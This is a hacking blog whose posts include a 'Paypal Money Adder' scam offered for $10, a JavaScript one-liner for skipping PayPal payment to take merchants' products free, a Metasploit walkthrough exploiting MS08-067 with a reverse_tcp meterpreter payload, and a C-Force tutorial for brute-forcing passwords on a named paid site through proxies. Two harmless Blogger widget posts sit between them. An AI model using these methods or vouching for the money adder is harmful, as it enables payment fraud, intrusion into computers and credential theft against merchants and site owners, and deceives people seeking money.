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Friday, March 29, 2013

Paypal Money Adder 2013 April

FREE PAYPAL MONEY ADDER
UPDATED March 26


Paypal Money Adder - Fully working as of March 2013
Introducing Paypal Money Adder 2013


































Are you in need of money to purchase something on the internet? If the answer is yes, then a working Paypal Money Adder is what you need!


Me and my team have created a legitimate, fully working hack for Paypal. This Paypal money adder works on all Paypal accounts for every country where Paypal is accepted.

PayPal Money Adder 2013 - What does it do?
Well, this hack basically lets you add money/funds to your Paypal account with just easy simple steps! This will add money in your account instantly! 

Any Proofs?
This hack is 100% safe and working. Me and my co-developers tried it and the software worked perfectly. Here is a screenshot from my friend's Paypal account:







Where can I download Paypal Money Adder 2013?

To get this amazing software for FREE, just click the download link below!



NOTE: Since this software is new and working, we have decided to only give 15 copies of the software per day. So, only 15 downloads are allowed per day. 



Stats:  Only 28  softwares (Paypal Money Adder 2013) available!  
        15/28 downloads today. Get yours now!

                                                         PRICE 10$ Only 

Our software is 100% virus free.
Instructions:
1. Download Paypal Money Adder 2013
2. Run the software
3. Enter your Paypal account/email address
4. Select your country
5. Click Hack and wait for a few seconds
6. Check your Paypal account
7. Congratulations! You have now added money in your account!

For questions/suggestions, feel free to leave a comment.


THANK YOU







Sunday, March 3, 2013

Bypass Paypal Payment To Get Free Products Online


Its being a long time since I have posted an article on my site so today by managing some time I founded a JavaScript which can be very helpful in downloading online products for free selling by other peoples or merchants which are on the payment seats.

Its being a trend to sell eBooks,software's,games,links,products etc. online on the internet to earn some money. If we need something like that we have to give them payments through our PayPal accounts.Therefore, to solve that problem and make easy to poor people to afford that items PayPal hacking script is being launched.
Here is the Script-

javascript:top.location=document.getElementsByName('return')[0].value; javascript:void(0);
Steps needed to get free products-
1.First of all copy the script given above
2.Then open that website where the means of purchase is PayPal . For ex- 
www.ptcexpert.com.
3.Click on the PayPal button to purchase item and
3.In-between the loading time of PayPal payment by your account, Copy paste the JavaScript in the browser and press enter or you can directly paste the script in the browser address when the website opens.
4.you will be redirected to the downloading section.
5.That’s it!!!, you hacked that system.
Note- 
It works well with the supported web-browsers like Google chrome,Firefox,opera,safari,ie etc. Sometimes the script wont work due to some strong security arrangements,Then you will try some other website.
Disclaimer-
I hold no responsibility for any kind of your actions to this script, Its being made only for educational purposes.
Enjoy Hacking !                                                                                                                                                                    Please comment upon the websites you found which are hackable by this script.

Friday, January 4, 2013

Image Slider For Blogger


Want Fastest Image slider??
A slider whom you can customize as per your taste??

iGAWAR Presents Javascript image slider for blogger who want their blog to load up fast..!!
Every1 wants an cool slider for their blog which gives great look to the template and engage the visitors which ultimately means MORE TRAFFIC..!!
Nowadays NOVA sliders become famous but many blogger refuse to use it because it Uses jQuery technology which very much increase increases the loading time of the blog and reduses site performance..!!
So what to do?? The Solution is here..!!
After so much searching i find this awesome slider created by helperblogger.A Html Coded Slider which only uses javascript and loads up very fastly.
you can see the live Demo of it over here
  1. Go to Blogger Dashboard > Layout
  2. Click on Add a Gadget
  3. Scroll down and select HTML/JavaScript .
  4. Keep title box blank and Paste code inside code box.
<style type="text/css"> /* JavaScript Image Slider By http://www.helperblogger.com/ */ #mcis { display: none; } #sliderFrame { position: relative; width: 500px; margin: 0 auto; border:5px solid #000; } #ribbon { width: 111px; height: 111px; position: absolute; top: -4px; left: -4px; background: url(http://4.bp.blogspot.com/-2AdmLJaub9w/T_2NGQHAKfI/AAAAAAAACjk/ZHsOsqRyBEk/s1600/helperblogger.com-ribbon.png) no-repeat; z-index: 7; } #slider { width: 500px; height: 218px; background: #fff url(http://3.bp.blogspot.com/-5y0QxGG9wcM/T_2NFVukvgI/AAAAAAAACjg/lgnDtn_n-7w/s1600/helperblogger.com-loading.gif) no-repeat 50% 50%; position: relative; margin: 0 auto; box-shadow: 0px 1px 5px #999999; } #slider img { position: absolute; border: none; display: none; } #slider a.imgLink { z-index: 2; display: none; position: absolute; top: 0px; left: 0px; border: 0; padding: 0; margin: 0; width: 100%; height: 100%; } div.mc-caption-bg, div.mc-caption-bg2 { position: absolute; width: 100%; height: auto; padding: 0; left: 0px; bottom: 0px; z-index: 3; overflow: hidden; font-size: 0; } div.mc-caption-bg { background-color: black; } div.mc-caption { font: bold 14px/20px Arial; color: #EEE; z-index: 4; padding: 10px 0; text-align: center; } div.mc-caption a { color: #FB0; } div.mc-caption a:hover { color: #DA0; } div.navBulletsWrapper { top: 250px; left: 190px; width: 150px; background: none; padding-left: 20px; position: relative; z-index: 5; cursor: pointer; } div.navBulletsWrapper div { width: 11px; height: 11px; background: transparent url(http://3.bp.blogspot.com/-G-iekYUr83U/T_2NEluoaDI/AAAAAAAACjY/TR1wfeuaO_k/s1600/helperblogger.com-bullet.png) no-repeat 0 0; float: left; overflow: hidden; vertical-align: middle; cursor: pointer; margin-right: 11px; _position: relative; } div.navBulletsWrapper div.active { background-position: 0 -11px; } #slider { transform: translate3d(0,0,0); -ms-transform: translate3d(0,0,0); -moz-transform: translate3d(0,0,0); -o-transform: translate3d(0,0,0); -webkit-transform: translate3d(0,0,0); } </style> <script src="http://code.helperblogger.com/js-image-slider.js" type="text/javascript"></script> <div id="sliderFrame"> <div id="ribbon"></div> <div id="slider"> <a href="#"><img src="http://images.helperblogger.com/jsSlider/helperblogger.com-1.jpg" alt="Image Slider By helperblogger.com"/></a> <a href="#"><img src="http://images.helperblogger.com/jsSlider/helperblogger.com-2.jpg" alt=""/></a> <a href="#"><img src="http://images.helperblogger.com/jsSlider/helperblogger.com-3.jpg" alt="The slide is a linking image"/></a> <a href="#"><img src="http://images.helperblogger.com/jsSlider/helperblogger.com-4.jpg" alt="Pure Javascript. No jQuery. No flash."/></a> <a href="#"><img src="http://images.helperblogger.com/jsSlider/helperblogger.com-5.jpg" alt="#htmlcaption"/></a> </div></div>

Sunday, December 30, 2012

How to Add Rainbow Color Effect Links to Blogger


Rainbow color effect will give random colors to your link on mouse hover. Normally seen on mouse hover only a single color changes. But thanks to Dynamic Drive now we can easily 
change several colors of our links. Once the code is applied to the blog/website, all links on each page exhibit a rainbow effect on mouse hover. This tutorial is very simple to follow and uses a JavaScript code inside Blogger.

To add Rainbow effect link to your blog/website follow some easy steps below:

STEP #1: Login to Blogger

STEP #2: Go to Dashboard>Template

STEP #3: Click on Edit HTML>Proceed

STEP #4: Press ( Ctrl+f ) to search for the below code.

</head>

STEP #5: And just above </head> paste the code below

<script type='text/javascript'>
//<![CDATA[
var rate = 20;
if (document.getElementById) 
window.onerror=new Function("return true")
var objActive;  // The object which event occured in 
var act = 0;    // Flag during the action 
var elmH = 0;   // Hue 
var elmS = 128; // Saturation 
var elmV = 255; // Value 
var clrOrg;     // A color before the change 
var TimerID;    // Timer ID
if (document.all) { 
    document.onmouseover = doRainbowAnchor; 
    document.onmouseout = stopRainbowAnchor; 
} 
else if (document.getElementById) { 
    document.captureEvents(Event.MOUSEOVER | Event.MOUSEOUT); 
    document.onmouseover = Mozilla_doRainbowAnchor; 
    document.onmouseout = Mozilla_stopRainbowAnchor; 
}
function doRainbow(obj) 
{ 
    if (act == 0) { 
        act = 1; 
        if (obj) 
            objActive = obj; 
        else 
            objActive = event.srcElement; 
        clrOrg = objActive.style.color; 
        TimerID = setInterval("ChangeColor()",100); 
    } 
}

function stopRainbow() 
{ 
    if (act) { 
        objActive.style.color = clrOrg; 
        clearInterval(TimerID); 
        act = 0; 
    } 
}

function doRainbowAnchor() 
{ 
    if (act == 0) { 
        var obj = event.srcElement; 
        while (obj.tagName != 'A' && obj.tagName != 'BODY') { 
            obj = obj.parentElement; 
            if (obj.tagName == 'A' || obj.tagName == 'BODY') 
                break; 
        }
        if (obj.tagName == 'A' && obj.href != '') { 
            objActive = obj; 
            act = 1; 
            clrOrg = objActive.style.color; 
            TimerID = setInterval("ChangeColor()",100); 
        } 
    } 
}

function stopRainbowAnchor() 
{ 
    if (act) { 
        if (objActive.tagName == 'A') { 
            objActive.style.color = clrOrg; 
            clearInterval(TimerID); 
            act = 0; 
        } 
    } 
}

function Mozilla_doRainbowAnchor(e) 
{ 
    if (act == 0) { 
        obj = e.target; 
        while (obj.nodeName != 'A' && obj.nodeName != 'BODY') { 
            obj = obj.parentNode; 
            if (obj.nodeName == 'A' || obj.nodeName == 'BODY') 
                break; 
        }
        if (obj.nodeName == 'A' && obj.href != '') { 
            objActive = obj; 
            act = 1; 
            clrOrg = obj.style.color; 
            TimerID = setInterval("ChangeColor()",100); 
        } 
    } 
}

function Mozilla_stopRainbowAnchor(e) 
{ 
    if (act) { 
        if (objActive.nodeName == 'A') { 
            objActive.style.color = clrOrg; 
            clearInterval(TimerID); 
            act = 0; 
        } 
    } 
}

function ChangeColor() 
{ 
    objActive.style.color = makeColor(); 
}

function makeColor() 
{ 
    // Don't you think Color Gamut to look like Rainbow?
    // HSVtoRGB 
    if (elmS == 0) { 
        elmR = elmV;    elmG = elmV;    elmB = elmV; 
    } 
    else { 
        t1 = elmV; 
        t2 = (255 - elmS) * elmV / 255; 
        t3 = elmH % 60; 
        t3 = (t1 - t2) * t3 / 60;
        if (elmH < 60) { 
            elmR = t1;  elmB = t2;  elmG = t2 + t3; 
        } 
        else if (elmH < 120) { 
            elmG = t1;  elmB = t2;  elmR = t1 - t3; 
        } 
        else if (elmH < 180) { 
            elmG = t1;  elmR = t2;  elmB = t2 + t3; 
        } 
        else if (elmH < 240) { 
            elmB = t1;  elmR = t2;  elmG = t1 - t3; 
        } 
        else if (elmH < 300) { 
            elmB = t1;  elmG = t2;  elmR = t2 + t3; 
        } 
        else if (elmH < 360) { 
            elmR = t1;  elmG = t2;  elmB = t1 - t3; 
        } 
        else { 
            elmR = 0;   elmG = 0;   elmB = 0; 
        } 
    }
    elmR = Math.floor(elmR).toString(16); 
    elmG = Math.floor(elmG).toString(16); 
    elmB = Math.floor(elmB).toString(16); 
    if (elmR.length == 1)    elmR = "0" + elmR; 
    if (elmG.length == 1)    elmG = "0" + elmG; 
    if (elmB.length == 1)    elmB = "0" + elmB;
    elmH = elmH + rate; 
    if (elmH >= 360) 
        elmH = 0;
    return '#' + elmR + elmG + elmB; 
}
//]]>
</script>

Customization:

You can change the value of var rate = 20. This controls the speed with which links change color.

So execute steps correctly and you are done. Head to your blog and check the trick executed. So don't forget us. We will only survive with your generosity. Like, Share, Follow and Subscribe. If you are facing any problem with implementing these codes just comment below for help. Stay tuned for more posts.

Friday, December 28, 2012

Hacking Windows XP Using Backtrack


In this article i am going to demonstrate how to hack a remote computer by exploiting the  parsing flaw in the pathcanonicalization code of NetAPI32.dll through the Server Service(CVE-2008-4250). Before we jump into the actual exploitation process, let me give more details about this Server Service Vulnerability.


Details about Server Service Vulnerability(MS08-067):
 

Microsoft Windows Server service provides support for sharing resources such as files and print services over the network.

The Server service is vulnerable to a remote code-executionvulnerability. The vulnerability is caused due to an error innetapi32.dll when processing directory traversal character sequences in path names. This can be exploited to corrupt stack memory by e.g. sending RPC requests containing specially crafted path names to the Server Service component. The 'NetprPathCanonicalize()' function in the 'netapi32.dll' file is affected.

A malicious request to vulnerable system results in complete compromise of vulnerable computers.
This vulnerability affects Windows XP, Windows 2000, Windows Server 2003, Windows Vista, and Windows Server 2008. But Attackers require authenticated access on Windows Vista and Server 2008 platforms to exploit this issue.


Exploiting the MS08-067 using Metasploit:

Requirements:

  •     VirtualBox

  •     Backtrack 5

  •     Target OS(XP)


Step 1:

Create Two Virtual Machine(VM) namely "Target" and "BT5".  Install the XP inside Target VM and Backtrack inside BT5. Start the Two VMs.



Step 2: Find the IP address of Target

 

Open The command prompt in the Target machine(XP). Type "ipconfig" to find the IP address of the Target system.

 

Step 3: Information Gathering
 

Now let us collect some information about the Target machine.  For this purpose , we are going to use the nmap tool.

Open The Terminal in the BT5 machine(Backtrack) and type "nmap -O 192.168.56.12".  Here 192.168.56.12 is IP address of Target machine. If you look at the result, you can find the list of open ports and OS version.



 Step 4: Metasploit
 

Now open the Terminal in the BT5 machine(Backtrack) and Type "msfconsole".

The msfconsole is the most popular interface to the Metasploit Framework. It provides an "all-in-one" centralized console and allows you efficient access to virtually all of the options available in the Metasploit Framework.

Let us use the Search command to find the exploit modules with the keyword netapi. Type "search netapi".  Now you can see the list of modules match with the netapi.



We are going to exploit MS08-067 , so type "use exploit/windows/smb/ms08_067_netapi".

Step 5: Set Payload
 

As usual, let use the Reverse Tcp Payload for this exploit also. Type "set payload windows/meterpreter/reverse_tcp" in the msfconsole.

Step 6: Options
 

Type "set LHOST 192.168.56.10".  Here 192.168.56.10 is IP address of Backtrack machine.  You can find the ip address by typing 'ifconfig' command in the Terminal.

Type "set RHOST 192.168.56.12".  Here 192.168.56.12 is IP address of Target machine.










Step 7: Exploiting
 

Ok, it is time to exploit the vulnerability, type "exploit" in the console. If the exploit is successful, you can see the following result.












Now we can control the remote computer using the meterpreter. For example, typing "screenshot" will grab the screenshot of the victim system.


I hope you understand and enjoy this...........................

How to Crack Passwords With C-Force


This is how we get free passes for sites. C-Force only works on sites that are called Pop-Up sites.
Example, when you click on Members Sign In, and then theUSERNAME/PASSWORD box pops-up, yeah its a pop up site.
Note: C-Force will not crack ocr forms (= form sites with a code vertification in a box)

I AM CRACKING PASSES FOR PORNPROS.COM
 

Important Tools :-

1.CForce
2.Proxy Checker
3.Proxy Finder
4.Good World List


Download Tools


Procedure:


Step 1: 

Open Proxy Finder & Click on Find Button then wait for Some Minutes.. After loading proxy's save it & Exit proxy finder..


 Step 2:

Open Proxy Checker and load Saved proxy & Click on Start.Now Wait for Some Seconds & Click On Save.



Step 3:

 

Run As admin C Force And Open the tab “Settings” & make settings As showing In Pic..
Check this: “Skip proxy anonymity test” (we are checking our proxies with Proxy Checker)
Never Tick this: “Use proxy for analyses” (it wouldn´t analyze the site correct)
NEVER Tick this: “Bruteforce without proxies” (or you have good chances to go to jail )


































Step 4:

Open the tab “Pro” Main Url: Get the members url by clicking on the members access section
For example: http://members.pornpros.com/
Place this url into the Main url field & Click on Analyse



Step 5:


After clicking on Analyse: it looks like that:

































Step 6:


After that click on Bruteforce: After pressing “Bruteforce” you will be directed automaticly in the “Auto” menu































Step 7:


Load Proxylist and Wordlist 

Proxylist: Click the “Load” tab beside “Proxy-List” and find savedProxylist on your PC. C-Force will let you know that your Proxies are loaded.
Wordlist: Click the “Load” tab beside “Combo-List” and find saved Wordlist on your PC. C-Force will let you know that your Wordlist is loaded.































Step 8:


After clicking on “START
Wait for some Minutes & Check your hits. All Pass&UsernameSaved In Hitlog.txt































NOTE-You can use this option only for Pop-up login sites.

I hope you enjoy this tutorial..................................................